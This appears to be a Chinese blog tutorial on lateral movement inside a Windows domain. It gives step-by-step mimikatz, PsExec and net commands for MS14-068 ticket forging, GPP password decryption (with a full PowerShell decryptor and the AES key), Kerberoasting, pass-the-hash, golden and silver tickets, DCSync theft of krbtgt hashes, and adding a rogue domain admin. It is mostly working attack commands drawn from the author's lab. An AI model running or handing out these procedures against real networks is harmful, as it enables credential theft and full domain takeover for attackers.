1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 内网渗透----域内横向移动

内网渗透----域内横向移动

时间:2020-12-06 16:55:56

相关推荐

内网渗透----域内横向移动

0x01.MS14-068

kerkeo工具 /gentilkiwi/kekeo

klistklist purge 删除所有票据

直接访问域控制器的C盘目录:

dir \\qianxiao996-\C$

查看本机用户信息,记录用户名与SID号

whoami /all

SID : S-1-5-21-2461438818-3229013638-4126918765-1108

进入MS14-068目录,使用以下命令:ip为域控的ip

MS14-068.exe -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>MS14-068.exe -u zhangsanfeng@ -s S-1-5-21-2461438818-3229013638-4126918765-1108 -d 192.168.91.131 -p ABCabc123

生成的票据文件
打开mimikatz,注入票据

mimikatz # kerberos::purge//清空当前凭证mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc 票据文件 //将上一步生成的票据注入到内存中

再次列出域控制器的C盘目录:

dir \\qianxiao996-\C$

使用PSTools目录下的PsExec.exe获取shell:

PsExec.exe \\qianxiao996- cmd.exe

添加域管理员

net user wangergou ABCabc123 /add /domainnet group "Domain admins" wangergou /add /domain

0x02.GPP漏洞

组策略下发

管理工具中打开组策略管理:

选择域,并新建组织单位:
选择新建的组织单位,并建立GPO:
点击新建的GPO:
设定组策略作用范围:(选择一个组,必须是存在的组)
右键选择GPO,选择编辑–本地用户和组:
新建一个用户:
域成员上更新组策略,并查看用户:

gpupdatenet user

并没有成功。。。

查看sysvol共享文件夹:
文件位置:

\\qianxaio996-dm\SYSVOL\\Policies\{2999DA01-0F90-44D4-8B7A-BC405D9C349A}\Machine\Preferences\Groups

文件内容:
使用Get-GPPPassword

打开PowerSploit文件夹,进入Exfiltration文件夹,在当前目录打开CMD,并输入powershell –ep bypass,打开Powershell,加载模块:

Import-Module Get-GPPPassword.ps1Get-GPPPassword

输入以下命令后再次运行Get-GPPPassword:

Add-Type -AssemblyName System.Core

如依然报错,则为环境问题,采取本地破解的方法。

本地破解

将\SYSVOL\Policies{GUID}\MACHINE\Preferences\Groups下的Group.xml拷贝出来,其内容如下:

使用脚本将其破解,powershell版本如下:

function Get-DecryptedCpassword {[CmdletBinding()]Param ([string] $Cpassword)try {#Append appropriate padding based on string length $Mod = ($Cpassword.length % 4)switch ($Mod) {'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}'2' {$Cpassword += ('=' * (4 - $Mod))}'3' {$Cpassword += ('=' * (4 - $Mod))}}$Base64Decoded = [Convert]::FromBase64String($Cpassword)#Create a new AES .NET Crypto Object$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)#Set IV to all nulls to prevent dynamic generation of IV value$AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV$AesObject.Key = $AesKey$DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)}catch {Write-Error $Error[0]}}Get-DecryptedCpassword "XXf1z6E2YBAPoxtS3z5gVsxzi/hSbVvi1a5ZRjwlV2w"

破解结果如下:

0x03.SPN票据破解

列出当前用户的票据:

Kerberos::list

导出票据:

Kerberos::list /export

由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。

使用字典进行暴力破解:(2.txt为字典)

python tgsrepcrack.py 2.txt "1-40a10000-linghuchong@MSSQLSvc~College-DS1~1433-.kirbi"

Pass-The-Hash(Pass-the-key)

虽然"sekurlsa::pth"在mimikatz中被称之为"Pass The Hash",但是其已经超越了以前的"Pass The Hash",部分人将其命名为"Overpass-the-hash",也就是"Pass-the-key"

登录域成员机器,以管理员身份运行mimikatz,并输入以下命令:

privilege::debug logsekurlsa::logonpasswords

抓取的凭证会保存在log中,打开文件可以见到administrator账户的ntlm hash:

在mimikatz中输入以下命令:

Sekurlsa::pth /domain: /user:administrator ```/ntlm:上面保存的ntlm hash

此时可以弹出一个CMD,可列出域控服务器中的C$文件

0x04.Golden Ticket - 1

以管理员身份运行mimikatz,导出用户HASH

privilege::debugloglsadump::dcsync /user:krbtgt

Hash NTLM: b93dba67240e8236cf1ab028034779e2 aes256_hmac:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc

普通用户权限,尝试列出域控目录

dir \\qianxiao996-\C$

查看域用户,可见域管理员账户为administrator

net group "domain admins" /domain

查看域的SID号

普通用户权限打开mimikatz

kerberos::purge #清空票据kerberos::golden /admin:administrator /domain: /sid:S-1-5-21-2461438818-3229013638-4126918765 /krbtgt:b93dba67240e8236cf1ab028034779e2 /ticket:ticket.kirbikerberos::ptt ticket.kirbikerberos::tgt(此条命令好像并没有用)

再次尝试列出域控目录

dir \\qianxiao996-\C$

查询用户

net user /domain

0x05.Golden Ticket - 2

也可以是使用aes256,也创建不存在的用户

kerberos::purgekerberos::golden /domain: /sid:S-1-5-21-2461438818-3229013638-4126918765 /aes256:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc /user:hello /ticket:2345.kirbikerberos::ptt 2345.kirbi

Silver Ticket

假设已经拿到了域控制的权限,并将域控的账户信息记录下来。

privilege::debug logsekurlsa::logonPasswords

Username : QIANXIAO996-DM$NTLM: b1e99870ac1230e33233fb54f240f171

查看本机的SID

whoami /all

SID S-1-5-21-2461438818-3229013638-4126918765-1108

利用此Hash制作一张LDAP服务的白银票据:

kerberos::golden /admin:zhangsanfeng /domain: /id:1108 /sid:S-1-5-21-2461438818-3229013638-4126918765-1108 /target:QIANXIAO996- /rc4:b1e99870ac1230e33233fb54f240f171 /service:LDAP /ptt

利用此票据从域控的DCSync上请求krbtgt的凭据:

lsadump::dcsync /dc:QIANXIAO996- /domain: /user:krbtgt

有了krbtgt的凭据,再进行黄金票据攻击即可。

经测试,请求LDAP需新打开一个mimikztz窗口

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。